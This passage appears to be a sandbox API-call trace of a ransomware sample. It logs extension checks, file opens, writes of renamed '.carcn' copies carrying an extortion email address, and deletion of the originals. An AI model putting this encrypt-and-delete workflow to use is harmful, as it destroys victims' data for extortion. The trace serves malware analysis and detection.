[0164.868] lstrlenW (lpString=".xlsx") returned 5 [0164.868] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0164.868] lstrlenW (lpString=".ppt") returned 4 [0164.868] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0164.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0164.868] lstrlenW (lpString=".zip") returned 4 [0164.868] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0164.868] lstrlenW (lpString=".rar") returned 4 [0164.869] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0164.869] lstrlenW (lpString=".bz2") returned 4 [0164.869] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0164.869] lstrlenW (lpString=".7z") returned 3 [0164.869] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0164.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0164.869] lstrlenW (lpString=".dbf") returned 4 [0164.869] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0164.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0164.869] lstrlenW (lpString=".1cd") returned 4 [0164.869] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0164.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0164.869] lstrlenW (lpString=".jpg") returned 4 [0164.869] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0164.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0164.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0164.869] lstrlenW (lpString=".doc") returned 4 [0164.869] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0164.869] lstrlenW (lpString=".docx") returned 5 [0164.869] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0164.869] lstrlenW (lpString=".pdf") returned 4 [0164.869] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0164.869] lstrlenW (lpString=".xls") returned 4 [0164.869] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0164.869] lstrlenW (lpString=".xlsx") returned 5 [0164.869] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0164.869] lstrlenW (lpString=".ppt") returned 4 [0164.869] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0164.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0164.870] lstrlenW (lpString=".zip") returned 4 [0164.870] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0164.870] lstrlenW (lpString=".rar") returned 4 [0164.870] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0164.870] lstrlenW (lpString=".bz2") returned 4 [0164.870] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0164.870] lstrlenW (lpString=".7z") returned 3 [0164.870] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0164.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0164.870] lstrlenW (lpString=".dbf") returned 4 [0164.870] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0164.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0164.870] lstrlenW (lpString=".1cd") returned 4 [0164.870] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0164.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 88 [0164.870] lstrlenW (lpString=".jpg") returned 4 [0164.870] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0164.870] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0164.870] lstrlenW (lpString="osknavbase.xml") returned 14 [0164.870] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0164.872] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=1069) returned 1 [0164.872] CloseHandle (hObject=0x314) returned 1 [0164.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml")) returned 0x20 [0164.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0164.872] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0164.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml") returned 86 [0164.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml") returned 86 [0164.873] lstrlenW (lpString=".doc") returned 4 [0164.873] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0164.873] lstrlenW (lpString=".docx") returned 5 [0164.873] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0164.873] lstrlenW (lpString=".pdf") returned 4 [0164.873] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0164.873] lstrlenW (lpString=".xls") returned 4 [0164.873] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0164.873] lstrlenW (lpString=".xlsx") returned 5 [0164.873] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0164.873] lstrlenW (lpString=".ppt") returned 4 [0164.873] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0164.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml") returned 86 [0164.873] lstrlenW (lpString=".zip") returned 4 [0164.873] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0164.873] lstrlenW (lpString=".rar") returned 4 [0164.873] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0164.873] lstrlenW (lpString=".bz2") returned 4 [0164.873] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0164.873] lstrlenW (lpString=".7z") returned 3 [0164.873] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0164.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml") returned 86 [0164.873] lstrlenW (lpString=".dbf") returned 4 [0164.873] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0176.051] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0176.051] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0176.052] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0177.647] GetLastError () returned 0x0 [0177.647] ReadFile (in: hFile=0x388, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x285, lpOverlapped=0x0) returned 1 [0177.647] WriteFile (in: hFile=0x310, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0x290, lpOverlapped=0x0) returned 1 [0177.688] ReadFile (in: hFile=0x388, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0177.688] WriteFile (in: hFile=0x310, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0xea, lpOverlapped=0x0) returned 1 [0177.688] SetEndOfFile (hFile=0x310) returned 1 [0177.688] CloseHandle (hObject=0x310) returned 1 [0177.689] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0177.689] SetEndOfFile (hFile=0x388) returned 1 [0177.690] CloseHandle (hObject=0x388) returned 1 [0177.690] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x26) returned 1 [0177.690] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 1 [0177.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0177.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0177.739] lstrlenW (lpString=".doc") returned 4 [0177.739] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0177.739] lstrlenW (lpString=".docx") returned 5 [0177.739] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0177.739] lstrlenW (lpString=".pdf") returned 4 [0177.739] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0177.739] lstrlenW (lpString=".xls") returned 4 [0177.739] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0177.739] lstrlenW (lpString=".xlsx") returned 5 [0177.739] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0177.739] lstrlenW (lpString=".ppt") returned 4 [0177.739] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0177.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0177.739] lstrlenW (lpString=".zip") returned 4 [0177.739] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0177.739] lstrlenW (lpString=".rar") returned 4 [0177.739] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0177.739] lstrlenW (lpString=".bz2") returned 4 [0177.739] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0177.739] lstrlenW (lpString=".7z") returned 3 [0177.739] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0177.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0177.739] lstrlenW (lpString=".dbf") returned 4 [0177.739] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0177.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0177.739] lstrlenW (lpString=".1cd") returned 4 [0177.739] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0177.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0177.739] lstrlenW (lpString=".jpg") returned 4 [0177.740] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0177.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0177.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0177.740] lstrlenW (lpString=".doc") returned 4 [0177.740] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0177.740] lstrlenW (lpString=".docx") returned 5 [0177.740] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0177.740] lstrlenW (lpString=".pdf") returned 4 [0177.740] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0177.740] lstrlenW (lpString=".xls") returned 4 [0177.740] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0177.740] lstrlenW (lpString=".xlsx") returned 5 [0177.740] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0177.740] lstrlenW (lpString=".ppt") returned 4 [0177.740] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0177.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0177.740] lstrlenW (lpString=".zip") returned 4 [0177.740] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0177.740] lstrlenW (lpString=".rar") returned 4 [0177.740] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0177.740] lstrlenW (lpString=".bz2") returned 4 [0177.740] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0177.740] lstrlenW (lpString=".7z") returned 3 [0177.740] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0177.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0177.740] lstrlenW (lpString=".dbf") returned 4 [0177.740] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0177.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0177.740] lstrlenW (lpString=".1cd") returned 4 [0177.740] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0177.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0177.740] lstrlenW (lpString=".jpg") returned 4 [0177.740] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0177.741] lstrcmpiW (lpString1=".jpg", lpString2=".carcn") returned 1 [0177.741] lstrlenW (lpString="OrangeCircles.jpg") returned 17 [0177.741] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0177.742] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=6381) returned 1 [0177.742] CloseHandle (hObject=0x318) returned 1 [0177.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg")) returned 0x20 [0177.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0177.743] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75 [0177.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75 [0177.743] lstrlenW (lpString=".doc") returned 4 [0177.743] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0177.743] lstrlenW (lpString=".docx") returned 5 [0177.743] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0177.743] lstrlenW (lpString=".pdf") returned 4 [0177.743] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0177.743] lstrlenW (lpString=".xls") returned 4 [0177.743] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0177.743] lstrlenW (lpString=".xlsx") returned 5 [0177.743] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0177.743] lstrlenW (lpString=".ppt") returned 4 [0177.743] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0177.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75 [0177.743] lstrlenW (lpString=".zip") returned 4 [0177.743] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0177.743] lstrlenW (lpString=".rar") returned 4 [0177.743] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0177.743] lstrlenW (lpString=".bz2") returned 4 [0177.743] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0177.743] lstrlenW (lpString=".7z") returned 3 [0177.743] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0177.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75 [0177.743] lstrlenW (lpString=".dbf") returned 4 [0177.743] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0177.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75 [0177.744] lstrlenW (lpString=".1cd") returned 4 [0177.744] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0177.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75 [0177.744] lstrlenW (lpString=".jpg") returned 4 [0177.744] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0177.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75 [0177.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75 [0177.744] lstrlenW (lpString=".doc") returned 4 [0177.744] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0177.744] lstrlenW (lpString=".docx") returned 5 [0177.744] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0177.744] lstrlenW (lpString=".pdf") returned 4 [0177.744] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0177.744] lstrlenW (lpString=".xls") returned 4 [0177.744] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0177.744] lstrlenW (lpString=".xlsx") returned 5 [0177.744] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0177.744] lstrlenW (lpString=".ppt") returned 4 [0177.744] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0177.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75 [0177.744] lstrlenW (lpString=".zip") returned 4 [0177.744] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0177.744] lstrlenW (lpString=".rar") returned 4 [0177.744] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0177.744] lstrlenW (lpString=".bz2") returned 4 [0177.744] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0177.744] lstrlenW (lpString=".7z") returned 3 [0177.744] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0177.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75 [0177.744] lstrlenW (lpString=".dbf") returned 4 [0177.744] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0177.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75 [0177.744] lstrlenW (lpString=".1cd") returned 4 [0177.745] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0177.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg") returned 75 [0177.745] lstrlenW (lpString=".jpg") returned 4 [0177.745] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0177.745] lstrcmpiW (lpString1=".htm", lpString2=".carcn") returned 1 [0177.745] lstrlenW (lpString="Peacock.htm") returned 11 [0177.745] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0177.745] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=232) returned 1 [0177.745] CloseHandle (hObject=0x318) returned 1 [0177.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm")) returned 0x20 [0177.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0177.753] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.760] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69 [0177.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69 [0177.761] lstrlenW (lpString=".doc") returned 4 [0177.761] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0177.777] lstrlenW (lpString=".docx") returned 5 [0177.777] lstrcmpiW (lpString1=".docx", lpString2="k.htm") returned -1 [0177.777] lstrlenW (lpString=".pdf") returned 4 [0177.777] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0177.777] lstrlenW (lpString=".xls") returned 4 [0177.777] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0177.777] lstrlenW (lpString=".xlsx") returned 5 [0177.777] lstrcmpiW (lpString1=".xlsx", lpString2="k.htm") returned -1 [0177.777] lstrlenW (lpString=".ppt") returned 4 [0177.777] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0177.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69 [0177.777] lstrlenW (lpString=".zip") returned 4 [0177.777] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0177.777] lstrlenW (lpString=".rar") returned 4 [0177.777] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0177.777] lstrlenW (lpString=".bz2") returned 4 [0177.777] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0177.777] lstrlenW (lpString=".7z") returned 3 [0177.777] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0177.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69 [0177.778] lstrlenW (lpString=".dbf") returned 4 [0177.778] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0177.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69 [0177.778] lstrlenW (lpString=".1cd") returned 4 [0177.778] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0177.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69 [0177.778] lstrlenW (lpString=".jpg") returned 4 [0177.778] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0177.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69 [0177.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69 [0177.778] lstrlenW (lpString=".doc") returned 4 [0177.778] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0177.778] lstrlenW (lpString=".docx") returned 5 [0177.778] lstrcmpiW (lpString1=".docx", lpString2="k.htm") returned -1 [0177.778] lstrlenW (lpString=".pdf") returned 4 [0177.778] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0177.778] lstrlenW (lpString=".xls") returned 4 [0177.778] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0177.778] lstrlenW (lpString=".xlsx") returned 5 [0177.778] lstrcmpiW (lpString1=".xlsx", lpString2="k.htm") returned -1 [0177.778] lstrlenW (lpString=".ppt") returned 4 [0177.778] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0177.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69 [0177.778] lstrlenW (lpString=".zip") returned 4 [0177.778] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0177.778] lstrlenW (lpString=".rar") returned 4 [0177.778] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0177.778] lstrlenW (lpString=".bz2") returned 4 [0177.778] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0177.778] lstrlenW (lpString=".7z") returned 3 [0177.778] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0177.778] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69 [0177.778] lstrlenW (lpString=".dbf") returned 4 [0177.779] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0177.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69 [0177.779] lstrlenW (lpString=".1cd") returned 4 [0177.779] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0177.779] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 69 [0177.779] lstrlenW (lpString=".jpg") returned 4 [0177.779] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0177.779] lstrcmpiW (lpString1=".jpg", lpString2=".carcn") returned 1 [0177.779] lstrlenW (lpString="Peacock.jpg") returned 11 [0177.779] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0177.780] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=5115) returned 1 [0177.780] CloseHandle (hObject=0x318) returned 1 [0177.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg")) returned 0x20 [0177.780] GetFileAttributesW 